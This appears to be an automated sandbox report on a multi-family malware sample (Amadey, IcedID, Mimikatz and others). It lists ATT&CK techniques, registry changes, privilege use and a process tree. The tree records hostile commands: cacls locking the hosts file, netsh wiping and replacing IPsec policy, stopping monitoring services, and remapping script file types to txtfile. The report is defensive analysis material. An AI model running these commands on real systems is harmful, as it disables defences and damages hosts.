Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	btazimybm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvlatmn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	btazimybm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ewmksq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	btazimybm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5808	cmd.exe
5836	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral1/files/0x0007000000024346-5.dat	nsis_installer_2
behavioral1/files/0x000f000000024357-12.dat	nsis_installer_1
behavioral1/files/0x000f000000024357-12.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	cvlatmn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	cvlatmn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cvlatmn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	cvlatmn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	cvlatmn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	cvlatmn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	bcpfmifvy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	bcpfmifvy.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	cvlatmn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	cvlatmn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	cvlatmn.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5836	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1964	schtasks.exe
2260	schtasks.exe
5544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
512	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	512	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
Token: SeDebugPrivilege	4900	cvlatmn.exe
Token: SeDebugPrivilege	5236	cvlatmn.exe
Token: SeDebugPrivilege	3968	vfshost.exe
Token: SeDebugPrivilege	5280	bcpfmifvy.exe
Token: SeLockMemoryPrivilege	5732	kchkra.exe
Token: SeLockMemoryPrivilege	5732	kchkra.exe
Token: SeDebugPrivilege	3928	bcpfmifvy.exe
Token: SeDebugPrivilege	4776	bcpfmifvy.exe
Token: SeDebugPrivilege	548	bcpfmifvy.exe
Token: SeDebugPrivilege	2084	bcpfmifvy.exe
Token: SeDebugPrivilege	2316	bcpfmifvy.exe
Token: SeDebugPrivilege	4104	bcpfmifvy.exe
Token: SeDebugPrivilege	1660	bcpfmifvy.exe
Token: SeDebugPrivilege	760	bcpfmifvy.exe
Token: SeDebugPrivilege	3436	bcpfmifvy.exe
Token: SeDebugPrivilege	928	bcpfmifvy.exe
Token: SeDebugPrivilege	3512	bcpfmifvy.exe
Token: SeDebugPrivilege	4512	bcpfmifvy.exe
Token: SeDebugPrivilege	1460	bcpfmifvy.exe
Token: SeDebugPrivilege	2260	bcpfmifvy.exe
Token: SeDebugPrivilege	3456	bcpfmifvy.exe
Token: SeDebugPrivilege	5392	bcpfmifvy.exe
Token: SeDebugPrivilege	4964	bcpfmifvy.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
512	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
512	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
4900	cvlatmn.exe
4900	cvlatmn.exe
5236	cvlatmn.exe
5236	cvlatmn.exe
1652	xohudmc.exe
1808	ewmksq.exe
3572	cvlatmn.exe
3572	cvlatmn.exe
1144	cvlatmn.exe
1144	cvlatmn.exe
4776	cvlatmn.exe
4776	cvlatmn.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 512 wrote to memory of 5808	512	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe	85
PID 512 wrote to memory of 5808	512	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe	85
PID 512 wrote to memory of 5808	512	2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe	85
PID 5808 wrote to memory of 5836	5808	cmd.exe	87
PID 5808 wrote to memory of 5836	5808	cmd.exe	87
PID 5808 wrote to memory of 5836	5808	cmd.exe	87
PID 5808 wrote to memory of 4900	5808	cmd.exe	95
PID 5808 wrote to memory of 4900	5808	cmd.exe	95
PID 5808 wrote to memory of 4900	5808	cmd.exe	95
PID 5236 wrote to memory of 2900	5236	cvlatmn.exe	97
PID 5236 wrote to memory of 2900	5236	cvlatmn.exe	97
PID 5236 wrote to memory of 2900	5236	cvlatmn.exe	97
PID 2900 wrote to memory of 4760	2900	cmd.exe	99
PID 2900 wrote to memory of 4760	2900	cmd.exe	99
PID 2900 wrote to memory of 4760	2900	cmd.exe	99
PID 2900 wrote to memory of 4820	2900	cmd.exe	100
PID 2900 wrote to memory of 4820	2900	cmd.exe	100
PID 2900 wrote to memory of 4820	2900	cmd.exe	100
PID 2900 wrote to memory of 4752	2900	cmd.exe	101
PID 2900 wrote to memory of 4752	2900	cmd.exe	101
PID 2900 wrote to memory of 4752	2900	cmd.exe	101
PID 2900 wrote to memory of 4764	2900	cmd.exe	102
PID 2900 wrote to memory of 4764	2900	cmd.exe	102
PID 2900 wrote to memory of 4764	2900	cmd.exe	102
PID 2900 wrote to memory of 4768	2900	cmd.exe	103
PID 2900 wrote to memory of 4768	2900	cmd.exe	103
PID 2900 wrote to memory of 4768	2900	cmd.exe	103
PID 2900 wrote to memory of 5032	2900	cmd.exe	104
PID 2900 wrote to memory of 5032	2900	cmd.exe	104
PID 2900 wrote to memory of 5032	2900	cmd.exe	104
PID 5236 wrote to memory of 4904	5236	cvlatmn.exe	105
PID 5236 wrote to memory of 4904	5236	cvlatmn.exe	105
PID 5236 wrote to memory of 4904	5236	cvlatmn.exe	105
PID 5236 wrote to memory of 3700	5236	cvlatmn.exe	107
PID 5236 wrote to memory of 3700	5236	cvlatmn.exe	107
PID 5236 wrote to memory of 3700	5236	cvlatmn.exe	107
PID 5236 wrote to memory of 2372	5236	cvlatmn.exe	109
PID 5236 wrote to memory of 2372	5236	cvlatmn.exe	109
PID 5236 wrote to memory of 2372	5236	cvlatmn.exe	109
PID 5236 wrote to memory of 960	5236	cvlatmn.exe	114
PID 5236 wrote to memory of 960	5236	cvlatmn.exe	114
PID 5236 wrote to memory of 960	5236	cvlatmn.exe	114
PID 960 wrote to memory of 2348	960	cmd.exe	116
PID 960 wrote to memory of 2348	960	cmd.exe	116
PID 960 wrote to memory of 2348	960	cmd.exe	116
PID 2348 wrote to memory of 2544	2348	wpcap.exe	117
PID 2348 wrote to memory of 2544	2348	wpcap.exe	117
PID 2348 wrote to memory of 2544	2348	wpcap.exe	117
PID 2544 wrote to memory of 2676	2544	net.exe	119
PID 2544 wrote to memory of 2676	2544	net.exe	119
PID 2544 wrote to memory of 2676	2544	net.exe	119
PID 2348 wrote to memory of 2268	2348	wpcap.exe	120
PID 2348 wrote to memory of 2268	2348	wpcap.exe	120
PID 2348 wrote to memory of 2268	2348	wpcap.exe	120
PID 2268 wrote to memory of 4784	2268	net.exe	122
PID 2268 wrote to memory of 4784	2268	net.exe	122
PID 2268 wrote to memory of 4784	2268	net.exe	122
PID 2348 wrote to memory of 700	2348	wpcap.exe	123
PID 2348 wrote to memory of 700	2348	wpcap.exe	123
PID 2348 wrote to memory of 700	2348	wpcap.exe	123
PID 700 wrote to memory of 5372	700	net.exe	125
PID 700 wrote to memory of 5372	700	net.exe	125
PID 700 wrote to memory of 5372	700	net.exe	125
PID 2348 wrote to memory of 4020	2348	wpcap.exe	126

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2136
- C:\Windows\TEMP\vffbshfye\kchkra.exe
  "C:\Windows\TEMP\vffbshfye\kchkra.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5732

C:\Users\Admin\AppData\Local\Temp\2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-04_8184ac8e0aaa3acdfe51eaccd568821a_amadey_cloudeye_hacktools_icedid_mimikatz_rhadamanthys_smoke-loader.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:512
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\uclvtabv\cvlatmn.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5836
- - C:\Windows\uclvtabv\cvlatmn.exe
    C:\Windows\uclvtabv\cvlatmn.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4900

C:\Windows\uclvtabv\cvlatmn.exe
C:\Windows\uclvtabv\cvlatmn.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4760
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4752
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:4764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4768
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5032
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4904
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3700
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\lfgfkziiz\cbmauknem\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\lfgfkziiz\cbmauknem\wpcap.exe
    C:\Windows\lfgfkziiz\cbmauknem\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:2348
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2544
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2676
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2268
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4784
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:700
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:5372
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4020
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:4176
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5048
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5920
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:5708
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:840
